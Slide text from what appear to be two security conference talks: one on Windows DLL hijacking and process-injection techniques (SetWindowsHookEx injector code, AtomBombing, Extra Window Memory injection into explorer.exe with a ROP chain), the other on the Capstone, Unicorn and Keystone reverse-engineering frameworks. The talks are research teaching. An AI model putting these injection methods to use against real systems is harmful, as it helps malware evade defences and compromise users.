news.softpedia.com/news/dll-hijacking-issue-plagues-products-like-firefox-chrome-itunes-openoffice-500060.shtml DLL Hijacking Issue [email protected] Google Chrome [email protected] Google Updater [email protected] Google Updater [email protected] int __fastcall sub_2F64CA(HMODULE hModule, char ch) { /* ... */ if ( GetModuleFileNameW(hModule, &Filename, 0x104u) && ( PathRemoveFileSpecW(&Filename), memcpy(&pszPath, &Filename, 260), PathAppendW(&pszPath, L"goopdate.dll") )) { if (sub_2F6211(&pszPath)) { // make v4 point to goopdate.dll sub_2F68D4(&pszPath, sub_2FAB00(&pszPath)); result = 0; } /* ... */ } Google Updater [email protected] LoadLibrary LoadLibraryA("goopdate.dll") ... .text Section ... Ntdll.dll ... Process GoogleUpdate Kernel32.dll User32.dll [email protected] LoadLibrary ... .text Section ... Ntdll.dll ... Process GoogleUpdate Kernel32.dll User32.dll ... .text Section ... goopdate.dll LoadLibraryA("goopdate.dll") [email protected] LoadLibrary LoadLibraryA("goopdate.dll") ... .text Section ... Ntdll.dll ... Process GoogleUpdate Kernel32.dll User32.dll ... ... goopdate.dll .text Section Invoke DllEntry() [email protected] Demo [email protected] ✨Magic✨ DLL Side-Loading & Advanced Techniques [email protected] Issues Of Windows API [email protected] GetICMProfile [email protected] Logics of Chrome after Loading Pages [email protected] The logics in WinAPI -- GetICMProfile (Initialization) [email protected] IcmInitialize() [email protected] Ollydbg: Chrome [email protected] How LoadLibrary() Works [email protected] KernelBase.dll [email protected] {CURRENT_PATH}; C:\Windows\system32; C:\Windows\system; C:\Windows; .; C:\Program Files\Windows C:\Windows\System32\WindowsPowerShell\v1.0\; ... BaseGetProcessDllPath [email protected] for loop tries to find DLL in each system environment directory [email protected] GetICMProfile Ntdll.dll ... Process GDI32.dll ... Chrome.exe ... GetICMProfile Kernel32.dll [email protected] GetICMProfile Ntdll.dll ... Process GDI32.dll ... Chrome.exe ... GetICMProfile GetICMProfile() Kernel32.dll [email protected] GetICMProfile Ntdll.dll ... Process GDI32.dll ... Chrome.exe ... GetICMProfile GetICMProfile() Kernel32.dll LoadLibraryW("mscms.dll"); [email protected] GetICMProfile Ntdll.dll ... Process GDI32.dll ... Chrome.exe ... GetICMProfile GetICMProfile() Kernel32.dll LoadLibraryW LoadLibraryW("mscms.dll"); [email protected] GetICMProfile Ntdll.dll ... Process GDI32.dll ... Chrome.exe ... Kernel32.dll LoadLibraryW LoadLibraryW("mscms.dll"); ...\Chrome\Application; C:\Windows\system32; C:\Windows\system; C:\Windows; ... [email protected] GetICMProfile Ntdll.dll ... Process GDI32.dll ... Chrome.exe ... Kernel32.dll LoadLibraryW LoadLibraryW("mscms.dll"); ...\Chrome\Application\mscms.dll; C:\Windows\system32\mscms.dll; C:\Windows\system\mscms.dll; C:\Windows\mscms.dll; ... mscms.dll [email protected] Chrome Lastest Version 60.0.3112.101 [email protected] Chrome Lastest Version 60.0.3112.101 [email protected] Visual Style UI Rendering (Issues Of UxTheme.dll) [email protected] Hexedit & Winspy [email protected] cls_Forms_TCustomDockForm Forms::TCustomDockForm::Loaded(void) HexEdit [email protected] Dwmapi:: DwmExtendFrameIntoClientArea [email protected] UI Visual Style Issue [email protected] UxTheme::SetWindowTheme [email protected] UxTheme::IsCompositionActive call dwmapi::DwmIsCompositionEnabled [email protected] UxTheme::IsCompositionActive call dwmapi::DwmIsCompositionEnabled [email protected] •HEXEdit •7Zip •WinSpy •LoLTWLauncher •.NET Program •Borland C++ Program It allow us to hijack Visual Style UI Program [email protected] Injection Art 5 SetWindowHooksEx [email protected] SetWindowsHookEx HHOOK WINAPI SetWindowsHookEx ( _In_ int idHook, /* Hook Type */ _In_ HOOKPROC lpfn, /* function */ _In_ HINSTANCE hMod, /* module */ _In_ DWORD dwThreadId /* thread id */ ); [email protected] SetWindowsHookEx 4 WH_CALLWNDPROC 12 WH_CALLWNDPROCRET 5 WH_CBT 9 WH_DEBUG 11 WH_FOREGROUNDIDLE 3 WH_GETMESSAGE 1 WH_JOURNALPLAYBACK 0 WH_JOURNALRECORD 2 WH_KEYBOARD 13 WH_KEYBOARD_LL 7 WH_MOUSE 14 WH_MOUSE_LL -1 WH_MSGFILTER 10 WH_SHELL 6 WH_SYSMSGFILTER [email protected] Codes of Inject.dll LRESULT WINAPI msgProg(int code, WPARAM wParam, LPARAM lParam) { if (!disp) MessageBoxA(0, "Hello World", "HITCON 2017", 0); disp = true; return CallNextHookEx(NULL, code, wParam, lParam); } extern "C" { __declspec(dllexport) int hookStart() { hHook = SetWindowsHookEx(WH_GETMESSAGE, msgProg, hMod, 0); return !!hHook; } __declspec(dllexport) int hookStop() { return hHook && UnhookWindowsHookEx(hHook); } } [email protected] Codes of Injector.exe int main() { if (auto mod = LoadLibraryA("inject.dll")) { (int(*)())GetProcAddress ( LoadLibraryA("inject.dll"), "hookStart" )(); getchar(); } return 0; } [email protected] DLL Inject [email protected] [email protected] Injection Art 7 AtomBombing [email protected] https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows [email protected] GlobalAddAtom [email protected] GlobalGetAtomName [email protected] NtQueueApcThread NTSTATUS NtQueueApcThread ( HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2 ); NtQueueApcThread: mov eax, 10Dh ; NtQueueApcThread mov edx, 7FFE0300h call dword ptr [edx]; KiFastSystemCall retn 14h [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Memory Allocated VirtualAllocEx() Allocate a new space to store shellcode Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode CreateToolhelp32Snapshot() Thread 1 Thread 2 Thread 3 Thread 4 Thread ID Process 1 Chrome.exe 2 Chrome.exe ... N XXXX.exe Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode GlobalGetAtomNameW Shellcode NtQueueApcThread() Thread 1 Thread 2 Thread 3 Thread 4 Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode NtQueueApcThread() Thread 1 Thread 2 Thread 3 Thread 4 Kernel32.dll Kernel32.dll [email protected] Injection Art 8 Extra Window Memory Vunerability [email protected] Shell_TrayWnd [email protected] int s_WndProc(HWND hWnd, DWORD Msg, DWORD wParam, DWORD lParam) { /* Initialization for Window */ if (!*lParam) return 0; else if ( Msg == WM_NCCREATE) { *(*lParam + 4) = hWnd; SetWindowLongW(hWnd, 0, *lParam); /* Custom WndProc */ return (void(*)())(*lParam + 8) ( *lParam, hWnd, WM_NCCREATE, wParam, lParam ); } /* ... Deal with normal Window Event ... */ } [email protected] int s_WndProc(HWND hWnd, DWORD Msg, DWORD wParam, DWORD lParam) { /* ... Initialization for Window ... */ /* Deal with normal Window Event */ DWORD wndSelf = GetWindowLongW(hWnd, 0); DWORD lParama; if ( wndSelf ) { /* InterlockedIncrement */ (void(*)())*wndSelf(wndSelf); /* Custom WndProc */ lParama = (*wndSelf+0x08)(wndSelf, hWnd, Msg, wParam, lParam); if ( Msg == WM_NCDESTROY ) { SetWindowLongW(hWnd, 0, 0); *(wndSelf+0x04) = 0; } /* Destroy Task */ (void(*)())(*wndSelf+0x04)(wndSelf); } else lParama = SHDefWindowProc(hWnd, Msg, wParam, lParam); return lParama; } [email protected] int s_WndProc(HWND hWnd, DWORD Msg, DWORD wParam, DWORD lParam) { /* ... Initialization for Window ... */ /* Deal with normal Window Event */ DWORD wndSelf = GetWindowLongW(hWnd, 0); DWORD lParama; if ( wndSelf ) { /* InterlockedIncrement */ (void(*)())*wndSelf(wndSelf); /* Custom WndProc */ lParama = (*wndSelf+0x08)(wndSelf, hWnd, Msg, wParam, lParam); if ( Msg == WM_NCDESTROY ) { SetWindowLongW(hWnd, 0, 0); *(wndSelf+0x04) = 0; } /* Destroy Task */ (void(*)())(*wndSelf+0x04)(wndSelf); } else lParama = SHDefWindowProc(hWnd, Msg, wParam, lParam); return lParama; } [email protected] Malware.exe ... Process ... Process Explorer.exe Shell_TrayWnd +0 lParam (vtable) +4 hWnd ... Window Class [email protected] ... Process ... Process Explorer.exe Shell_TrayWnd +4 hWnd ... VirtualAllocEx() Shellcode VirtualAllocEx() & WriteProcessMemory() +0 lParam (this) +4 hWnd Fake Memory Layout ... Malware.exe +0 lParam (vtable) [email protected] ... Process ... Process Explorer.exe Shell_TrayWnd +4 hWnd ... WriteProcessMemory() Shellcode +0 Shellcode addr +4 Point to +0 Fake Memory Layout ... Malware.exe +0 lParam (vtable) [email protected] Shell_TrayWnd +0 Point to (Fake Memory +4) +4 hWnd ... ... Process ... Process Explorer.exe Shell_TrayWnd ... Shellcode +0 Shellcode addr +4 Point to +0 Fake Memory Layout ... SetWindowLong() Malware.exe [email protected] +0 Point to (Fake Memory +4) Shell_TrayWnd +4 hWnd ... ... Process ... Process Explorer.exe Shell_TrayWnd Shellcode +0 Shellcode addr +4 Point to +0 Fake Memory Layout ... SendMessage, SendNotifyMessage, or PostMessage to Shell_TrayWnd Malware.exe [email protected] Demo [email protected] PowerLoadEx [email protected] [email protected] int s_WndProc(HWND hWnd, DWORD Msg, DWORD wParam, DWORD lParam) { /* ... Initialization for Window ... */ /* Deal with normal Window Event */ DWORD wndSelf = GetWindowLongW(hWnd, 0); DWORD lParama; if ( wndSelf ) { /* InterlockedIncrement */ (void(*)())*wndSelf(wndSelf); /* Custom WndProc */ lParama = (*wndSelf+0x08)(wndSelf, hWnd, Msg, wParam, lParam); if ( Msg == WM_NCDESTROY ) { SetWindowLongW(hWnd, 0, 0); *(wndSelf+0x04) = 0; } /* Destroy Task */ (void(*)())(*wndSelf+0x04)(wndSelf); } else lParama = SHDefWindowProc(hWnd, Msg, wParam, lParam); return lParama; } [email protected] /* InterlockedIncrement */ (void(*)())*wndSelf(wndSelf); /* Custom WndProc */ lParama = (*wndSelf+0x08)(wndSelf, hWnd, Msg, wParam, lParam); if ( Msg == WM_NCDESTROY ) { SetWindowLongW(hWnd, 0, 0); *(wndSelf+0x04) = 0; } /* Destroy Task */ (void(*)())(*wndSelf+0x04)(wndSelf); We Have Three Chances! [email protected] ... Process Process Explorer.exe Window A +0 lParam (vtable) +4 hWnd ... Window Class Window A +0 lParam (vtable) +4 hWnd ... Malware.exe ... [email protected] ... Process ... Process Explorer.exe Window A Window A Window B Window B Window C Window C Malware.exe ... ... [email protected] ... Process ... Process Explorer.exe Shell_TrayWnd +0 lParam (vtable) +4 hWnd ... Window A Fake Memory Layout Malware.exe Window A +0 lParam (vtable) +4 hWnd ... [email protected] ... Process ... Process Explorer.exe Shell_TrayWnd +4 hWnd ... Window A Fake Memory Layout Malware.exe Window A +4 hWnd ... +8, +16, +24 ... Shellcode +0 lParam (vtable) +0 lParam (vtable) [email protected] We have three arbitrary Eip points, but... Memory of Window Struct is mapped Read and Written Only (RW), No Executable. [email protected] ROP! Return-oriented programming [email protected] 「啊,好像棋盤似的。」 「我看倒有點像稿紙。」我說。 「真像⼀一塊塊綠⾖豆糕。」 ⼀一位外號叫「⼤大食客」的同學緊接著說。 雅量量 [email protected] 35, 31, c0, 90, c3 0: 35 31 c0 90 c3 xor eax, 0xc390c031 0: 31 c0 xor eax,eax 2: 90 nop 3: c3 ret 2: 90 nop 3: c3 ret [email protected] –aaaddress1 ROP 是⼀一件 非常有雅量量的事情 [email protected] somewhere: ret Process Explorer.exe Stack 0xdead 0xbeef 0xcafe 0xdead: xor eax,eax ret 0xbeef: inc al ret 0xcafe: push eax ret [email protected] But We cannot control data on stack, How do we make ROP Chain work? [email protected] #1 Chance: (void(*)())*wndSelf(wndSelf); .text:00412015 mov ebx, [ebp+hWnd] .text:00412018 push 0 ; nIndex .text:0041201A push ebx ; hWnd .text:0041201B call GetWindowLongW(x,x) .text:00412021 mov esi, eax .text:0041202B mov eax, [esi] .text:0041202D push esi .text:0041202E call dword ptr [eax] We can set it point to ntdll!KiUserApcDispatcher() [email protected] .text:77F06F98 _KiUserApcDispatcher@16 proc near .text:77F06F98 lea eax, [esp+arg_2D8] .text:77F06F9F mov ecx, large fs:0 .text:77F06FA6 mov edx, _KiUserApcExceptionHandler .text:77F06FAB mov [eax], ecx .text:77F06FAD mov [eax+4], edx .text:77F06FB0 mov large fs:0, eax .text:77F06FB6 pop eax .text:77F06FB7 lea edi, [esp-4+Context] .text:77F06FBB call eax .text:77F06FBD mov ecx, [edi+2CCh] .text:77F06FC3 mov large fs:0, ecx .text:77F06FCA push 1 ; TestAlert .text:77F06FCC push edi ; Context .text:77F06FCD call _ZwContinue@8 .text:77F06FD2 mov esi, eax [email protected] #2 Chance: (*wndSelf+0x08)(x, x, x, x, x); .text:00412030 push [ebp+arg_C] .text:00412033 mov eax, [esi] .text:00412035 push [ebp+wParam] .text:00412038 mov ecx, esi .text:0041203A push edi .text:0041203B push ebx .text:0041203C call dword ptr [eax+8] We can set it to point to a Gadget [email protected] #2 Chance: (*wndSelf+0x08)(x, x, x, x, x); SHELL32:75C82511 std SHELL32:75C82512 ret Set Direction flag(DF) = 1, Now MOVS instruction will decrease ESI/EDI on every operation. [email protected] #3 Chance: (void(*)())(*wndSelf+0x04)(wndSelf); .text:0041204E mov eax, [esi] .text:00412050 push esi .text:00412051 call dword ptr [eax+4] [email protected] #3 Chance: (void(*)())(*wndSelf+0x04)(wndSelf); SHELL32:75C80915 mov ecx, 94h SHELL32:75C8091A rep movsd SHELL32:75C8091C pop edi SHELL32:75C8091D xor eax, eax SHELL32:75C8091F pop esi SHELL32:75C80920 pop ebp SHELL32:75C80921 retn 8 Copy 0x94 * sizeof(DWORD) bytes from ESI (Window Memory) to EDI(Stack Memory) [email protected] #3 Chance: (void(*)())(*wndSelf+0x04)(wndSelf); SHELL32:75C80915 mov ecx, 94h SHELL32:75C8091A rep movsd SHELL32:75C8091C pop edi SHELL32:75C8091D xor eax, eax SHELL32:75C8091F pop esi SHELL32:75C80920 pop ebp SHELL32:75C80921 retn 8 Copy 0x94 * sizeof(DWORD) bytes from ESI (Window Memory) to EDI(Stack Memory) Stack Controllable! Control Return Address, #4 Chance! [email protected] SHELL32:75C80915 mov ecx, 94h SHELL32:75C8091A rep movsd SHELL32:75C8091C pop edi SHELL32:75C8091D xor eax, eax SHELL32:75C8091F pop esi SHELL32:75C80920 pop ebp SHELL32:75C80921 retn 8 kernel32!7568E0E0 cld kernel32!7568E0E1 retn ntdll!7730289D: pop eax retn #4 Chance ntdll!alloca_probe: push ecx lea ecx, [esp+4] sub ecx, eax ... retn Use out of stack memory, Allocate local memory via alloca_probe() [email protected] #4 Chance ntdll!_chkstk(alloca_probe): push ecx lea ecx, [esp+4] sub ecx, eax ... retn kernel32!WriteProcessMemory: mov edi, edi push ebp mov ebp, esp pop ebp ... retn ntdll!atan: ... Shellcode ... Stack: xxxx24 772BE4A6 (return) xxxx28 FFFFFFFF (current process) xxxx2C 772D48C0 (ntdll!atan) xxxx30 007F1408 (shellcode ) xxxx34 00000070 (byte count) xxxx38 00000000 (null) [email protected] Demo [email protected] Facebook: 馬聖豪 Twitter: @aaaddress1 Email: [email protected] PoC: github.com/aaaddress1/winInject101 Thanks!
pdf
Bio About Me With VN Security since year 2009 Almost Every Weekend >  CTF player >  Weekend gamer Running zxandora.com project. Most of the time >  Soon >  Very Soon >  Brand New Online Sandbox Hack in The Box Crew Once a year >  Good friends >  CTF CTF and CTF About Me >  2008, Hack In The Box CTF Winner >  2010, Hack In The Box Speaker, Malaysia >  2012, Codegate Speaker, Korea >  2015, VXRL Speaker, Hong Kong >  2015, HITCON CTF, Prequal Top 10 >  2016, Codegate CTF, Prequal Top 5 >  2016, Qcon Speaker, Beijing >  OSX, Local Privilege Escalation >  Code commit for metasploit 3 >  GDB Bug hunting >  Metasploit module >  Linux Randomization Bypass >  http://www.githiub.com/xwings/tuya >  微博: @kaijern vnsecurity.net Introduction >  Active CTF Player (CLGT) >  Active speaker at conferences >  Blackhat USA >  Tetcon >  Hack In The Box >  Xcon >  Our Tools >  PEDA >  Unicorn/ Capstone/ Keystone >  Xandora >  OllyDbg, Catcha! >  ROPEME >  Security Researcher >  Active speaker at conferences >  Blackhat USA >  Syscan >  Hack In The Box >  Xcon >  Research Topics >  Emulators >  Virtualization >  Binary Analysis >  Tools for Malware Analysis VN Security Nguyen Anh Quynh >  Nations >  Vietnamese >  Malaysian >  Singaporean When gdb meets peda GDB PEDA Why KCON Fake Websites What Are These Things What Is Disassembler From binary to assembly code Core part of all binary analysis/ reverse engineering / debugger and exploit development Disassembly framework (engine/library) is a lower layer in stack of architecture Example §  01D8 = ADD EAX,EBX (x86) §  1169 = STR R1,[R2] (ARM’s Thumb) Assembler Engine Binary Analysis Debugger Exploit Development CPU Emulator Engine Disassembler Engine What Is Emulator Software only CPU Emulator Core focus on CPU operations. Design with no machine devices Safe emulation environment Where else can we see CPU emulator. Yes, Antivirus Binary Analysis Debugger Exploit Development Assembler Engine Binary Analysis Debugger Exploit Development CPU Emulator Engine Disassembler Engine Example §  01D1 = add eax,ebx (x86) §  Load eax & ebx register §  Add value of eax & ebx then copy the result to eax §  Update flag OF, SF, ZF, AF, CF, PF accordingly What Is Assembler From assembly to machine code Support high level concepts such as macro, functions and etc. Dynamic machine code generation Example §  ADD EAX,EBX = 01D8 (x86) §  STR R1,[R2] = 1169 (ARM’s Thumb) Binary Analysis Debugger Exploit Development Assembler Engine Binary Analysis Debugger Exploit Development CPU Emulator Engine Disassembler Engine Where are we currently Showcase >  CEnigma >  Unicorn >  CEbot >  Camal >  Radare2 >  Pyew >  WinAppDbg >  PowerSploit >  MachOview >  RopShell >  ROPgadget >  Frida >  The-Backdoor-Factory >  Cuckoo >  Cerbero Profiler >  CryptoShark >  Ropper >  Snowman >  X86dbg >  Concolica >  Memtools Vita >  BARF >  rp++ >  Binwalk >  MPRESS dumper >  Xipiter Toolkit >  Sonare >  PyDA >  Qira >  Rekall >  Inficere >  Pwntools >  Bokken >  Webkitties >  Malware_config_parsers >  Nightmare >  Catfish >  JSoS-Module-Dump >  Vitasploit >  PowerShellArsenal >  PyReil >  ARMSCGen >  Shwass >  Nrop >  Illdb-capstone-arm >  Capstone-js >  ELF Unstrip Tool >  Binjitsu >  Rop-tool >  JitAsm >  OllyCapstone >  PackerId >  Volatility Plugins >  Pwndbg >  Lisa.py >  Many Other More Showcase >  UniDOS: Microsoft DOS emulator. >  Radare2: Unix-like reverse engineering framework and commandline tools. >  Usercorn: User-space system emulator. >  Unicorn-decoder: A shellcode decoder that can dump self-modifying-code. >  Univm: A plugin for x64dbg for x86 emulation. >  PyAna: Analyzing Windows shellcode. >  GEF: GDB Enhanced Features. >  Pwndbg: A Python plugin of GDB to assist exploit development. >  Eli.Decode: Decode obfuscated shellcodes. >  IdaEmu: an IDA Pro Plugin for code emulation. >  Roper: build ROP-chain attacks on a target binary using genetic algorithms. >  Sk3wlDbg: A plugin for IDA Pro for machine code emulation. >  Angr: A framework for static & dynamic concolic (symbolic) analysis. >  Cemu: Cheap EMUlator based on Keystone and Unicorn engines. >  ROPMEMU: Analyze ROP-based exploitation. >  BroIDS_Unicorn: Plugin to detect shellcode on Bro IDS with Unicorn. >  UniAna: Analysis PE file or Shellcode (Only Windows x86). >  ARMSCGen: ARM Shellcode Generator. >  TinyAntivirus: Open source Antivirus engine designed for detecting & disinfecting polymorphic virus. >  Patchkit: A powerful binary patching toolkit. Showcase >  Keypatch: IDA Pro plugin for code assembling & binary patching. >  Radare2: Unix-like reverse engineering framework and commandline tools. >  GEF: GDB Enhanced Features. >  Ropper: Rop gadget and binary information tool. >  Cemu: Cheap EMUlator based on Keystone and Unicorn engines. >  Pwnypack: Certified Edible Dinosaurs official CTF toolkit. >  Keystone.JS: Emscripten-port of Keystone for JavaScript. >  Usercorn: Versatile kernel+system+userspace emulator. >  x64dbg: An open-source x64/x32 debugger for windows. >  Liberation: a next generation code injection library for iOS cheaters everywhere. >  Strongdb: GDB plugin for Android debugging. >  AssemblyBot: Telegram bot for assembling and disassembling on-the-go. >  demovfuscator: Deobfuscator for movfuscated binaries. >  Dash: A simple web based tool for working with assembly language. >  ARMSCGen: ARM Shellcode Generator. >  Asm_Ops: Assembler for IDA Pro (IDA Plugin). >  Binch: A lightweight ELF binary patch tool. >  Metame: Metamorphic code engine for arbitrary executables. >  Patchkit: A powerful binary patching toolkit. >  Pymetamorph: Metamorphic engine in Python for Windows executables. Born of The Trinity Binary' Assembly' Fundamental Frameworks for Reversing Capstone Components for a complete RE framework Interchange between assembler and disassembler A full CPU emulator always help when comes with obfuscated code Keystone Unicorn Capstone Engine NGUYEN Anh Quynh <aquynh -at- gmail.com> http://www.capstone-engine.org What’s Wrong with Current Disassembler Nothing works even up until 2013 (First release of Capstone Engine) Looks like no one take charge Industry stays in the dark side What do we need ? Multiple archs: x86, ARM+ ARM64 + Mips + PPC and more Multiple platform: Windows, Linux, OSX and more Multiple binding: Python, Ruby, Java, C# and more Clean, simple, intuitive & architecture-neutral API Provide break-down details on instructions Friendly license: Not GPL Lots of Work ! Multiple archs: x86, ARM Actively maintained & update within latest arch’s change Multiple platform: Windows, Linux Understanding opcode, Intel x86 it self with 1500++ documented instructions Support python and ruby as binding languages Single man show Target finish within 12 months A Good Disassembler Multiple archs: x86, ARM Actively maintained & update within latest arch’s change Multiple platform: Windows, Linux Support python and ruby as binding languages Friendly license: BSD Easy to setup Open source project compiler Sets of modules for machine code representing, compiling, optimizing Backed by many major players: AMD, Apple, Google, Intel, IBM, ARM, Imgtec, Nvidia, Qualcomm, Samsung, etc Incredibly huge (compiler) community around. Not Reinventing the Wheel Fork from LLVM Multiple architectures ready In-disassembler (MC module) Only, Only and Only build for LLVM actively maintained by the original vendor from the arch building company (eg, x86 from intel) Very actively maintained & updated by a huge community Are We Done >  Cannot just reuse MC as-is without huge efforts. >  LLVM code is in C++, but we want C code. >  Code mixed like spaghetti with lots of LLVM layers, not easy to take out >  Need to build instruction breakdown-details ourselves. >  Expose semantics to the API. >  Not designed to be thread-safe. >  Poor Windows support. >  Need to build all bindings ourselves. >  Keep up with upstream code once forking LLVM to maintain ourselves. Issues >  Fork LLVM but must remove everything we do not need >  Replicated LLVM’s MC >  Build around MC and not changing MC >  Replace C++ with C >  Extend LLVM’s MC >  Isolate some global variable to make sure thread-safe >  Semantics information from TD file from LLVM >  cs_inn structure >  Keep all information and group nicely >  Make sure API are arch-independent Solutions Capstone is not LLVM ' >  Zero dependency >  Compact in size >  More than assembly code >  Thread-safe design >  Able to embed into restricted firmware OS/ Environments >  Malware resistance (x86) >  Optimized for reverse engineers >  More hardware mode supported:- Big-Endian for ARM and ARM64 >  More Instructions supported: 3DNow (x86) More Superiors >  Cannot always rely on LLVM to fix bugs >  Disassembler is still conferred seconds- class LLVM, especially if does not affect code generation >  May refuse to fix bugs if LLVM backed does not generate them (tricky x86 code) >  But handle all comer case properly is Capstone first priority >  Handle all x86 malware ticks we aware of >  LLVM could not care less More Robust Demo ' Showcase: x64dbg Unicorn Engine NGUYEN Anh Quynh <aquynh -at- gmail.com> DANG Hoang Vu <danghvu -at- gmail.com> http://www.unicorn-engine.org What’s Wrong with Current Emulator Nothing works even up until 2015 (First release of Unicorn Engine) Limited bindings Limited functions, limited architecture What Do We Need ? Multiple archs: x86, x86_64, ARM+ ARM64 + Mips + PPC Multiple platform: Windows, Linux, OSX, Android and more Multiple binding: Python, Ruby, Java, C# and more Pure C implementation Latest and updated architecture With JIT compiler technique Instrumentation eg. F7, F8 Lots of Work ! Multiple archs: x86, ARM Actively maintained & update within latest arch’s change Multiple platform: Windows, Linux Understanding opcode, Intel x86 it self with 1500++ documented instructions Support python and ruby as binding languages Single man show Target finish within 12 months A Good Emulator Multiple archs: x86, x86_64, ARM, ARM64, Mips and more Actively maintained & update within latest arch’s change Multiple platform: Windows, Linux, OSX, Android and more Code in pure C Support python and ruby as binding languages JIT compiler technique Instrumentation at various level Single step Instruction Memory Access Open source project on system emulator Very huge community and highly active Multiple architecture: x86, ARM, ARM64, Mips, PowerPC, Sparc, etc (18 architectures) Multiple platform: *nix and Windows Not Reinventing the Wheel Fork from QEMU Support all kind of architectures and very updated Already implemented in pure C, so easy to implement Unicorn core on top Already supported JIT in CPU emulation, optimization on of of JIT Are we done ? Are We Done >  Not just emulate CPU, but also device models & ROM/BIOS to fully emulate physical machines >  Qemu codebase is huge and mixed like spaghetti >  Difficult to read, as contributed by many different people Issues 1 >  Keep only CPU emulation code & remove everything else (devices, ROM/BIOS, migration, etc) >  Keep supported subsystems like Qobject, Qom >  Rewrites some components but keep CPU emulation code intact (so easy to sync with Qemu in future) Solutions >  Set of emulators for individual architecture >  Independently built at compile time >  All archs code share a lot of internal data structures and global variables >  Unicorn wants a single emulator that supports all archs Issues 2 Solutions >  Isolated common variables & structures >  Ensured thread-safe by design >  Refactored to allow multiple instances of Unicorn at the same time Modified the build system to support multiple archs on demand Are We Done >  Instrumentation for static compilation only >  JIT optimizes for performance with lots of fast-path tricks, making code instrumenting extremely hard Issues 3 >  Build dynamic fine-grained instrumentation layer from scratch Support various levels of instrumentation >  Single-step or on particular instruction (TCG level) >  Instrumentation of memory accesses (TLB level) >  Dynamically read and write register >  Handle exception, interrupt, syscall (arch- level) through user provided callback. Solutions >  Objects is open (malloc) without closing (freeing) properly everywhere >  Fine for a tool, but unacceptable for a framework Issues 4 Solutions >  Find and fix all the memory leak issues >  Refactor various subsystems to keep track and cleanup dangling pointers Unicorn Engine is not QEMU Independent framework Much more compact in size, lightweight in memory Thread-safe with multiple architectures supported in a single binary Provide interface for dynamic instrumentation More resistant to exploitation (more secure) CPU emulation component is never exploited! Easy to test and fuzz as an API. Demo ' ' Showcase: box.py Keystone Engine NGUYEN Anh Quynh <aquynh -at- gmail.com> http://www.keystone-engine.org What’s Wrong with Assembler Nothing is up to our standard, even in 2016! Yasm: X86 only, no longer updated Intel XED: X86 only, miss many instructions & closed-source Use assembler to generate object files Other important archs: Arm, Arm64, Mips, PPC, Sparc, etc? What do we need? Multiple archs: x86, ARM+ ARM64 + Mips + PPC and more Multiple platform: Windows, Linux, OSX and more Multiple binding: Python, Ruby, Java, C# and more Clean, simple, intuitive & architecture-neutral API Provide break-down details on instructions Friendly license: BSD Lots of Work ! Multiple archs: x86, ARM Actively maintained & update within latest arch’s change Multiple platform: Windows, Linux Understanding opcode, Intel x86 it self with 1500++ documented instructions Support python and ruby as binding languages Single man show Target finish within 12 months A Good Assembler Multiple archs: x86, ARM Actively maintained & update within latest arch’s change Multiple platform: Windows, Linux Support python and ruby as binding languages Friendly license (BSD) Easy to setup Not Reinventing the Wheel Open source project compiler Sets of modules for machine code representing, compiling, optimizing Backed by many major players: AMD, Apple, Google, Intel, IBM, ARM, Imgtec, Nvidia, Qualcomm, Samsung, etc Incredibly huge (compiler) community around. Fork from LLVM Multiple architectures ready In-build assembler (MC module) Only, Only and Only build for LLVM actively maintained Very actively maintained & updated by a huge community Are We Done >  LLVM not just assembler, but also disassembler, bitcode, InstPrinter, Linker Optimization, etc >  LLVM codebase is huge and mixed like spaghetti Issue 1 >  Keep only assembler code & remove everything else unrelated >  Rewrites some components but keep AsmParser, CodeEmitter & AsmBackend code intact (so easy to sync with LLVM in future, e.g. update) >  Keep all the code in C++ to ease the job (unlike Capstone) >  No need to rewrite complicated parsers >  No need to fork llvm-tblgen Solutions >  LLVM compiled into multiple libraries >  Supported libs >  Parser >  TableGen and etc >  Keystone needs to be a single library Issue 2 Solutions >  Modify linking setup to generate a single library >  libkeystone.[so, dylib] + libkeystone.a >  keystone.dll + keystone.lib Are We Done >  Relocation object code generated for linking in the final code generation phase of compiler >  Ex on X86: >  inc [_var1] → 0xff, 0x04, 0x25, A, A, A, A Issue 3 >  Make fixup phase to detect & report missing symbols >  Propagate this error back to the top level API ks_asm() Solutions Issue 4 Solutions >  Ex on ARM: blx 0x86535200 → 0x35, 0xf1, 0x00, 0xe1 >  ks_asm() allows to specify address of first instruction >  Change the core to retain address for each statement >  Find all relative branch instruction to fix the encoding according to current & target address Are We Done >  Ex on X86: vaddpd zmm1, zmm1, zmm1, x → "this is not an immediate" >  Returned llvm_unreachable() on input it cannot handle Issue 5 >  Fix all exits & propagate errors back to ks_asm() >  Parse phase >  Code emit phase Solutions Issue 6 Solutions >  LLVM does not support non-LLVM syntax >  We want other syntaxes like Nasm, Masm, etc >  Bindings must be built from scratch >  Keep up with upstream code once forking LLVM to maintain ourselves >  Extend X86 parser for new syntaxes: Nasm, Masm, etc >  Built Python binding >  Extra bindings came later, by community: NodeJS, Ruby, Go, Rust, Haskell & OCaml >  Keep syncing with LLVM upstream for important changes & bug-fixes Keystone is not LLVM >  Independent & truly a framework >  Do not give up on bad-formed assembly >  Aware of current code position (for relative branches) >  Much more compact in size, lightweight in memory >  Thread-safe with multiple architectures supported in a single binary More flexible: support X86 Nasm syntax >  Support undocumented instructions: X86 >  Provide bindings (Python, NodeJS, Ruby, Go, Rust, Haskell, OCaml as of August 2016) Fork and Beyond Demo ' Show Case: metame Before After One More Thing The IDA Pro IDA Pro §  RE Standard §  Patching on the fly is always a must §  Broken “Edit\Patch Program\ Assembler” is always giving us problem ARM PUSH RAX PUSH ESI Keypatch A binary editor plugin for IDA Pro §  Fully open source @ https://keystone-engine.org/keypatch §  On the fly patching in IDA Pro with Multi Arch §  Base on Keystone Engine §  By Nguyen Anh Quynh & Thanh Nguyen (rd) from vnsecurity.net Latest Keypatch and DEMO Fill Range §  Select Start, End range and patch with bytes §  Goto: Edit | Keypatch | Fill Range §  QQ: 2880139049 T H A N K S 